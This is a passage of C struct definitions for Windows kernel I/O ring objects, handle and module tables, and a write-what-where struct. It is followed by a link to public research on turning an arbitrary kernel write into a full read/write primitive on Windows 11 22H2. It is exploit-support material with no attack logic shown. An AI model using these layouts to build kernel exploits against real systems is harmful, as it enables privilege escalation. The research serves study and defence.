/* 0x0008 */ struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; /* size: 0x0020 */
typedef struct _NT_IORING_CREATE_FLAGS
{
/* 0x0000 */ enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
/* 0x0004 */ enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS; /* size: 0x0008 */
typedef struct _NT_IORING_INFO
{
/* 0x0000 */ enum IORING_VERSION IoRingVersion;
/* 0x0004 */ struct _NT_IORING_CREATE_FLAGS Flags;
/* 0x000c */ unsigned int SubmissionQueueSize;
/* 0x0010 */ unsigned int SubmissionQueueRingMask;
/* 0x0014 */ unsigned int CompletionQueueSize;
/* 0x0018 */ unsigned int CompletionQueueRingMask;
/* 0x0020 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
/* 0x0028 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO; /* size: 0x0030 */
typedef struct _IORING_OBJECT
{
/* 0x0000 */ short Type;
/* 0x0002 */ short Size;
/* 0x0008 */ struct _NT_IORING_INFO UserInfo;
/* 0x0038 */ void* Section;
/* 0x0040 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
/* 0x0048 */ struct _MDL* CompletionQueueMdl;
/* 0x0050 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
/* 0x0058 */ unsigned __int64 ViewSize;
/* 0x0060 */ long InSubmit;
/* 0x0068 */ unsigned __int64 CompletionLock;
/* 0x0070 */ unsigned __int64 SubmitCount;
/* 0x0078 */ unsigned __int64 CompletionCount;
/* 0x0080 */ unsigned __int64 CompletionWaitUntil;
/* 0x0088 */ struct _KEVENT CompletionEvent;
/* 0x00a0 */ unsigned char SignalCompletionEvent;
/* 0x00a8 */ struct _KEVENT* CompletionUserEvent;
/* 0x00b0 */ unsigned int RegBuffersCount;
/* 0x00b8 */ struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
/* 0x00c0 */ unsigned int RegFilesCount;
/* 0x00c8 */ void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT; /* size: 0x00d0 */
typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info;
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID Unknown;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
};
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
GitHub - yardenshafir/IoRingReadWritePrimitive: Post exploitation technique to turn arbitrary kernel write / increment into full read/write primitive on Windows 11 22H2
Post exploitation technique to turn arbitrary kernel write / increment into full read/write primitive on Windows 11 22H2 - yardenshafir/IoRingReadWritePrimitive
Источник: https://windows-internals.com/one-i...l-read-write-exploit-primitive-on-windows-11/